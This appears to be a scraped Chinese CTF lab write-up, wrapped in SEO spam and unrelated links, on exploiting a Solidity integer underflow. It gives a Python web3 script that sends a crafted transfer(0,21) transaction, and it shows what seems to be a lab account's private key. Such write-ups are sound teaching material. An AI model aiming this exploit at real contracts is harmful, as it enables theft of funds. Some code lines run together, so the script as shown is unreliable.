当前位置: 首页 > news >正文

哈尔滨模板网站建站吉林省软环境建设办公室网站

哈尔滨模板网站建站,吉林省软环境建设办公室网站,php做音乐网站,网站如何连接微信支付宝吗区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战 实验目的 学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理…

区块链安全

`

文章目录

  • 区块链安全
  • 整数溢出漏洞实战
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 攻击过程
    • 分析合约源代码漏洞
    • EXP利用


整数溢出漏洞实战

实验目的

学会使用python3的web3模块
学会以太坊整数溢出漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。
题目环境是测试链,所以需要本地与题目进行交互,可使用python3中的web3模块,通过web3模块的rpc功能与题目交互,从而编写自动化利用脚本。
实验内容
使用python3编写脚本测试漏洞
找到整数溢出漏洞并形成利用获取flag
实验地址为nc ip 10001

攻击过程

nc 靶标ip 端口
在这里插入图片描述
打开http://ip,输入上述分配的game account,点击Request获取eth

在这里插入图片描述
在这里插入图片描述

nc ip 10001连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10001连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

题目要求把flag设置为true,分析合约代码,在transfer中可以将flag设置为true,但需要满足totalSupply - _value > 0,其中totalSupply=20,其实考点为Solidity智能合约整数溢出,totalSupply与value都是uint无符号整数,所以只需要value为21即可产生整数下溢,造成溢出
在这里插入图片描述
需要调用transfer(0,21)即可将flag设置为true

EXP利用

利用python3的web3模块与远程题目交互,并编写利用代码,将ip替换成题目的ip,contract_address替换成自己的地址

from web3 import Web3, HTTPProvider
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receipt# transfer(0,21)
data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
data += '0'*64
data += '21'.rjust(64,'0')txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

运行exp
在这里插入图片描述

在这里插入图片描述

nc ip 10001连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

http://www.yayakq.cn/news/850005/

相关文章:

  • 网站建设的四个步骤用tp5做网站
  • 摄影网站图片做网站排名seo
  • 网站域名可以更改吗完全免费的网站源码
  • 施工方案下载免费网站电子商务的公司有哪些
  • 网站的内部推广的方法设计教育
  • 做网站代理能赚钱吗app网站开发哪家专业
  • 上海高端网站定制建设公司网站制作需要学多久
  • 网站平台怎么建立如何免费域名
  • 万维网站php企业网站开发实训报告
  • 前端一般模仿什么网站百度推广官网网站
  • 台州网站建设公司哪家好电脑网站 源码
  • 专门做壁纸的网站wordpress采集淘客
  • 建设一个营销网站有哪些步骤wordpress素材下载
  • 网站网页制作电话黄国外网站
  • 建设网站后台电脑自带的网页制作软件
  • 网站备案 种类网站建设哪家g好
  • 纯前端网站怎么做rest长沙做网站最专业
  • 怎么在手机上建网站产品开发岗位职责
  • 中国银行门户网站仿卢松松博客网站源码
  • 设计大型网站建设深圳电信网站备案
  • 网站建设财务规划个人建站
  • 成都sw网站建设一元购物网站怎么做
  • 移动网站开发 书网站诊断分析
  • 湖北网站seodescription 网站描述
  • 图文网站建设wordpress 插件不生效
  • 熊岳网站在哪做高端网络建站
  • 网站开发如何支持ipv6莱芜金点子保安最新招聘信息
  • 网站地图 怎么做怎么做二维码链接网页
  • 重庆网站推广公司电话北京平面设计公司名称
  • 网站建设 常州wordpress 用户上传文件